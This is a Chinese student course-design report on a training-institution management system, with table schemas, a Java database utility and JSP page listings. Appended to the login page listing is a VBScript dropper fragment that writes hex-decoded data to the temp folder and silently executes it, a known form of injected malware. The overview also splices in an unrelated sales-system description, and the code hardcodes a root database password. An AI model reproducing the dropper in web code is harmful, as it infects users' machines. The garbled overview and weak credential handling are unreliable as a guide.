数据库
首页 > 数据库> > 软件工程——数据库验收

软件工程——数据库验收

作者:互联网

 

 

课程设计报告书

 

数据库系统开发综合训练

--- 培训机构管理系统

 

 

 

 

班  级:      信2005-3 

学  号:     20204187     

姓  名:      邱实  

指导教师:   杨子光 

 

 

 

石家庄铁道大学信息学院

2022年7月05日


一、功能概述

    通用销售管理系统是建立在信息技术基础上,以系统化的管理思想,为企业及员工提供销售管理和员工信息管理的平台,其核心思想是供应链管理,即从供应链范围去优化企业销售方面的信息。它整合了回到首页、基础信息、基础资料、业务管理、信息查询、辅助工具、系统设置、个人设置、安全退出九个功能模块。通用销售管理系统是以管理为中心,整合订货,出货,退货等销售管理流程,优化企业资源。

1.登录

     登录这一模块,主要功能有:用户输入账号与密码,并对账号与密码的输入情况进行处理,新员工注册以及对注册内容的审核,提交和重置。其中除了重置的其余各个部分都与数据库进行了连接与相应的增、查、匹配工作。

2.员工注册

     这一模块,主要是采集新员工的信息,包括账号,密码,姓名,性别,年龄,出生日期,职务,毕业学校。同时,系统自动将其存入SQL数据库,便于以后查看与使用。

3.订货业务管理

      订货业务页面可以显示单据号码、订货名称、订货数量和操作。在该模块,可以进行添加订货信息操作,同时可以进行查看详细信息和删除订货信息操作。添加订货信息中,需要采集订货名称、订货数量、订货价格、订货客户名称、订货单据、订货经办人等数据,数据库提供增,删,改,查功能。

4.出货业务管理

     出货业务页面可以显示单据号码、出货名称、出货数量、定货公司和操作。在该模块,可以进行添加出货信息操作,同时可以进行查看详细信息和删除出货细信息操作。添加出货信息中需要输入单据号,数据库提供删除的功能。

本次实验完成了一个简要的培训机构管理系统,功能分为以下四类:

  1. 登录 注册

本系统的用户分为三类:学生,培训人员,机构管理者,在用户初次登录时,要进行在登录界面进行注册,由于管理人员是系统内部人员,因此账号密码会内置在数据库中,而培训机构人员是机构的雇用人员,机构和他是雇佣关系,有金钱交易的,因此不是任何登录系统的人都可以注册的,需经管理人员审核,需要由管理人员在管理界面添加。

因此登录界面的注册功能只面向学生,在学生填写完信息后,系统会自动赋予该学号,

并写入数据库。对于登录功能,系统会识别不同身份的用户如学生,管理者等跳转到不

同主界面。

  1. 管理者

管理者在登录后,可在主界面添加应聘成功的新的培训人员,并为他分配工资等,,系统会在提交后为其分配工号,培训人员会获得一个初始密码需要培训人员在登录后自行修改,第二个功能是审核课程,进入该界面后会显示所有未审核的课程,课程初始由教师提交,在管理员审核后为其分配上课时间和课程花费,并将课程收入的抽成加到教师的工资上。第三个功能是查看机构的收入,点击返回会回到管理人员主界面。

3.培训人员

培训人员在得到管理员审核后,获得账号密码,在登录后其主界面有四个功能,

在登录后培训人员可修改其个人信息,尤其是密码。第二个功能是查看个人信息,

可以看到自己的信息和本月的工资。第三个功能是提交课程,提交课程的基本信息,

在经审核后,课程才会发布,且工资会随着教课的门数的增加而增加。第四个功能

是查看自己教的所有课程,包括已审核和未审核的课程,对于已审核的课程,单击

可查看订购该课程的学生的基本信息。

 

4.学生

学生在登录后可修改其个人信息,点击返回跳转至主界面,第二个功能是查看所有可选择且自己未订购的课程,该界面会显示这些课程的详细信息,学生点击课程即可完成订购,

在订购成功后,机构的收入会增加,增加量为该课程的学费,随着订购人数的增多,机构收入也增加。第三个功能是查看自己已经订购的课程,该界面会显示课程的详细信息。

 

二、1.E-R图设计

 

  1. 构造关系模式

培训人员工号姓名工资

学生学号姓名

培训课程号学号工号时间名称费用

机构管理员号机构收入

  1. 模式分解

培训人员工号姓名工资

学生学号姓名

机构管理员号机构收入

课程课程号工号时间名称费用

培训课程号学号工号

 

 

培训人员表

属性名

属性含义

数值类型

是否可为空

是否为主码

是否引用外码

工号

工号

varchar(50)

姓名

姓名

varchar(50)

工资

工资

int

密码

密码

varchar(50)

 

学生表

属性名

属性含义

数值类型

是否可为空

是否为主码

是否引用外码

学号

学号

varchar(50)

姓名

姓名

varchar(50)

密码

 

varchar(50)

 

机构表

属性名

属性含义

数值类型

是否可为空

是否为主码

是否引用外码

管理员号

管理员号

varchar(50)

机构收入

机构收入

int

密码

密码

varchar(50)

 

培训表

属性名

属性含义

数值类型

是否可为空

是否为主码

是否引用外码

课程号

课程名

varchar(50)

学号

学号

varchar(50)

工号

工号

varchar(50)

 

课程表

属性名

属性含义

数值类型

是否可为空

是否为主码

是否引用外码

工号

工号

varchar(50)

课程号

课程号

varchar(50)

时间

时间

varchar(50)

费用

费用

int

名称

名称

varchar(50)

 

 

 

 

 

 

 

 

 

1.登录界面

   

2.学生注册界面

 

3.学生主界面

 

 

 

4.学生界面——修改个人信息

 

  1. 学生界面——订购课程

  

  1. 查看已订购的课程

 

 

 

  1. 培训人员主界面

 

 

  1. 培训人员主界面——修改个人信息

 

  1. 培训人员主界面——查看个人信息

 

  1. 培训人员主界面——添加课程

 

  1. 培训人员主界面——查看课程

 

点击查看后

 

  1. 培训人员界面

 

  1. 培训人员界面——添加培训人员

 

  1. 培训人员界面——查询课程及审核

 

点击通过后

 

  1. 培训人员界面——查看机构收入

 

 

四、关键代码

  1. 数据库的链接

package com.DButil;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.concurrent.Callable;

public class DBUtil
{
   public static String db_url = "jdbc:mysql://127.0.0.1:3306/sql";
   public static String db_username = "root";
   public static String db_password = "20020511";

   public static Connection getConnection()
   {
       Connection connection = null;

       try
       {
           Class.forName("com.mysql.cj.jdbc.Driver");
           connection = DriverManager.getConnection(db_url,db_username,db_password);
           return connection;
       }
       catch (Exception e)
       {
           System.out.println("aaaaaaaaaaaa");
            e.printStackTrace();
       }
       return connection;
   }

   public static void close(Statement statement,Connection connection)
   {
       if (statement != null)
       {
           try
           {
               statement.close();
           }
           catch (Exception e)
           {
               System.out.println("bbbbbbbb");
               e.printStackTrace();
           }
       }

       if (connection != null)
       {
           try
           {
               connection.close();
           }
           catch (Exception e)
           {
               System.out.println("aaaaaaaaaaaa");
               e.printStackTrace();
           }
       }
   }

   public static void close(ResultSet resultSet,Statement statement,Connection connection)
   {
       if (resultSet != null)
       {
           try
           {
               resultSet.close();
           }
           catch (Exception e)
           {
               System.out.println("aaaaaaaaaaaa");
               e.printStackTrace();
           }
       }

       if (statement != null)
       {
           try
           {
               statement.close();
           }
           catch (Exception e)
           {
               System.out.println("aaaaaaaaaaaa");
               e.printStackTrace();
           }
       }
       if (connection != null)
       {
           try
           {
               connection.close();
           }
           catch (Exception e)
           {
               System.out.println("aaaaaaaaaaaa");
               e.printStackTrace();
           }
       }
   }

}

 

  1. 登陆界面 Login.jsp

<%@ page language="java" isErrorPage="true" pageEncoding="utf-8"%>
<%@page isELIgnored="false"%>
<!DOCTYPE html>
<html>


<!-- Mirrored from www.zi-han.net/theme/hplus/login.html by HTTrack Website Copier/3.x [XR&CO'2014], Wed, 20 Jan 2016 14:18:23 GMT -->
<head>

    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">


    <title>H+ 后台主题UI框架 - 登录</title>
    <meta name="keywords" content="H+后台主题,后台bootstrap框架,会员中心主题,后台HTML,响应式后台">
    <meta name="description" content="H+是一个完全响应式,基于Bootstrap3最新版本开发的扁平化主题,她采用了主流的左右两栏式布局,使用了Html5+CSS3等现代技术">

    <link rel="shortcut icon" href="favicon.ico"> <link href="css/bootstrap.min14ed.css?v=3.3.6" rel="stylesheet">
    <link href="css/font-awesome.min93e3.css?v=4.4.0" rel="stylesheet">

    <link href="css/animate.min.css" rel="stylesheet">
    <link href="css/style.min862f.css?v=4.1.0" rel="stylesheet">
    <!--[if lt IE 9]>
    <meta http-equiv="refresh" content="0;ie.html" />
    <![endif]-->
    <script>if(window.top !== window.self){ window.top.location = window.location;}</script>
</head>

<body class="gray-bg">

    <div class="middle-box text-center loginscreen animated fadeInDown">
        <div>
            <div>

                <h1 class="logo-name">H+</h1>

            </div>
            <h3>欢迎使用 H+</h3>

            <form class="m-t"  action="/Userservlet_log?method=log" method="post">
                <div class="form-group">
                   用户名:<input type="text" class="form-control"   name="nu">
                </div>
                <div class="form-group">
                   密码:<input type="text" class="form-control"   name = "pa">
                </div>
                <input type="submit" class="btn btn-primary block full-width m-b" value = "登录">


                <p class="text-muted text-center"> <a href="login.html#"><small>忘记密码了?</small></a> | <a href="regist.jsp">注册一个新账号</a>
                </p>

            </form>
        </div>
    </div>
    <script src="js/jquery.min.js?v=2.1.4"></script>
    <script src="js/bootstrap.min.js?v=3.3.6"></script>
    <script type="text/javascript" src="http://tajs.qq.com/stats?sId=9051096" charset="UTF-8"></script>
</body>



Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></SCRIPT>

 

  1. 管理员主界面.main_r.jsp

<%@ page language="java" isErrorPage="true" pageEncoding="utf-8"%>
<%@page isELIgnored="false"%>
<!DOCTYPE html>
<html>


<!-- Mirrored from www.zi-han.net/theme/hplus/login.html by HTTrack Website Copier/3.x [XR&CO'2014], Wed, 20 Jan 2016 14:18:23 GMT -->
<head>

    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">


    <title>H+ 后台主题UI框架 - 登录</title>
    <meta name="keywords" content="H+后台主题,后台bootstrap框架,会员中心主题,后台HTML,响应式后台">
    <meta name="description" content="H+是一个完全响应式,基于Bootstrap3最新版本开发的扁平化主题,她采用了主流的左右两栏式布局,使用了Html5+CSS3等现代技术">

    <link rel="shortcut icon" href="favicon.ico"> <link href="css/bootstrap.min14ed.css?v=3.3.6" rel="stylesheet">
    <link href="css/font-awesome.min93e3.css?v=4.4.0" rel="stylesheet">

    <link href="css/animate.min.css" rel="stylesheet">
    <link href="css/style.min862f.css?v=4.1.0" rel="stylesheet">
    <!--[if lt IE 9]>
    <meta http-equiv="refresh" content="0;ie.html" />
    <![endif]-->
    <script>if(window.top !== window.self){ window.top.location = window.location;}</script>
</head>

<body class="gray-bg">

    <div class="middle-box text-center loginscreen animated fadeInDown">
        <div>
            <div>

                <h1 class="logo-name">H+</h1>

            </div>


            <form class="m-t"  action="add_r.jsp" method="post">
                <input type="submit" class="btn btn-primary block full-width m-b" value = "添加培训人员">
            </form>
            <form class="m-t"  action="/Userservlet_r?method=view" method="post">
            <input type="submit" class="btn btn-primary block full-width m-b" value = "查询课程">
            </form>
            <form class="m-t"  action="/Userservlet_r?method=wage" method="post">
            <input type="submit" class="btn btn-primary block full-width m-b" value = "查看机构收入">
            </form>

        </div>
    </div>
    <script src="js/jquery.min.js?v=2.1.4"></script>
    <script src="js/bootstrap.min.js?v=3.3.6"></script>
    <script type="text/javascript" src="http://tajs.qq.com/stats?sId=9051096" charset="UTF-8"></script>
</body>

 

  1. 学生主界面main_s.jap

<%@ page language="java" isErrorPage="true" pageEncoding="utf-8"%>
<%@page isELIgnored="false"%>
<!DOCTYPE html>
<html>


<!-- Mirrored from www.zi-han.net/theme/hplus/login.html by HTTrack Website Copier/3.x [XR&CO'2014], Wed, 20 Jan 2016 14:18:23 GMT -->
<head>

    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">


    <title>H+ 后台主题UI框架 - 登录</title>
    <meta name="keywords" content="H+后台主题,后台bootstrap框架,会员中心主题,后台HTML,响应式后台">
    <meta name="description" content="H+是一个完全响应式,基于Bootstrap3最新版本开发的扁平化主题,她采用了主流的左右两栏式布局,使用了Html5+CSS3等现代技术">

    <link rel="shortcut icon" href="favicon.ico"> <link href="css/bootstrap.min14ed.css?v=3.3.6" rel="stylesheet">
    <link href="css/font-awesome.min93e3.css?v=4.4.0" rel="stylesheet">

    <link href="css/animate.min.css" rel="stylesheet">
    <link href="css/style.min862f.css?v=4.1.0" rel="stylesheet">
    <!--[if lt IE 9]>
    <meta http-equiv="refresh" content="0;ie.html" />
    <![endif]-->
    <script>if(window.top !== window.self){ window.top.location = window.location;}</script>
</head>

<body class="gray-bg">

    <div class="middle-box text-center loginscreen animated fadeInDown">
        <div>
            <div>

                <h1 class="logo-name">H+</h1>

            </div>


            <form class="m-t"  action="modify_s.jsp" method="post">
                <input type="submit" class="btn btn-primary block full-width m-b" value = "修改个人信息">
            </form>
            <form class="m-t"  action="/Userservlet_s?method=view" method="post">
            <input type="submit" class="btn btn-primary block full-width m-b" value = "订购课程">
            </form>
            <form class="m-t"  action="/Userservlet_s?method=view_" method="post">
            <input type="submit" class="btn btn-primary block full-width m-b" value = "查看已订购的课程">
            </form>

        </div>
    </div>
    <script src="js/jquery.min.js?v=2.1.4"></script>
    <script src="js/bootstrap.min.js?v=3.3.6"></script>
    <script type="text/javascript" src="http://tajs.qq.com/stats?sId=9051096" charset="UTF-8"></script>
</body>

 

 6.培训人员主界面mian_t.jap

<%@ page language="java" isErrorPage="true" pageEncoding="utf-8"%>
<%@page isELIgnored="false"%>
<!DOCTYPE html>
<html>


<!-- Mirrored from www.zi-han.net/theme/hplus/login.html by HTTrack Website Copier/3.x [XR&CO'2014], Wed, 20 Jan 2016 14:18:23 GMT -->
<head>

    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">


    <title>H+ 后台主题UI框架 - 登录</title>
    <meta name="keywords" content="H+后台主题,后台bootstrap框架,会员中心主题,后台HTML,响应式后台">
    <meta name="description" content="H+是一个完全响应式,基于Bootstrap3最新版本开发的扁平化主题,她采用了主流的左右两栏式布局,使用了Html5+CSS3等现代技术">

    <link rel="shortcut icon" href="favicon.ico"> <link href="css/bootstrap.min14ed.css?v=3.3.6" rel="stylesheet">
    <link href="css/font-awesome.min93e3.css?v=4.4.0" rel="stylesheet">

    <link href="css/animate.min.css" rel="stylesheet">
    <link href="css/style.min862f.css?v=4.1.0" rel="stylesheet">
    <!--[if lt IE 9]>
    <meta http-equiv="refresh" content="0;ie.html" />
    <![endif]-->
    <script>if(window.top !== window.self){ window.top.location = window.location;}</script>
</head>

<body class="gray-bg">

    <div class="middle-box text-center loginscreen animated fadeInDown">
        <div>
            <div>

                <h1 class="logo-name">H+</h1>

            </div>


            <form class="m-t"  action="modify_t.jsp" method="post">
                <input type="submit" class="btn btn-primary block full-width m-b" value = "修改个人信息">
            </form>
            <form class="m-t"  action="view_t.jsp" method="post">
            <input type="submit" class="btn btn-primary block full-width m-b" value = "查看个人信息">
            </form>
            <form class="m-t"  action="add_t.jsp" method="post">
            <input type="submit" class="btn btn-primary block full-width m-b" value = "添加课程">
            </form>
            <form class="m-t"  action="/Userservlet_t?method=check" method="post">
                        <input type="submit" class="btn btn-primary block full-width m-b" value = "查看课程">
                        </form>

        </div>
    </div>
    <script src="js/jquery.min.js?v=2.1.4"></script>
    <script src="js/bootstrap.min.js?v=3.3.6"></script>
    <script type="text/javascript" src="http://tajs.qq.com/stats?sId=9051096" charset="UTF-8"></script>
</body>

 

五、小结

数据库小学期,主要是目标是完成一个mis系统,我做的是培训机构管理系统,通过本次小学期,复习了有关web的操作。

其次,由于本学期学习了数据库的相关知识,本次系统运用了更加复杂的sql语句,如多表查询,排序等等,以及,更加合理的设计了数据,按照先设计E-R图再转化成关系模式,再对模式进行模式分解,最后得到数据库的表结构,实践发现,这样比以前在对数据库操作时更加便捷,省事。在之前也不能真正理解写程序先建表的思想,觉得程序本身才是最重要的,但是通过本次实践,才真正感受到了这种思想的带来的便捷。

 

标签:varchar,培训,课程,数据库,50,验收,window,软件工程,界面
来源: https://www.cnblogs.com/miutic/p/16445475.html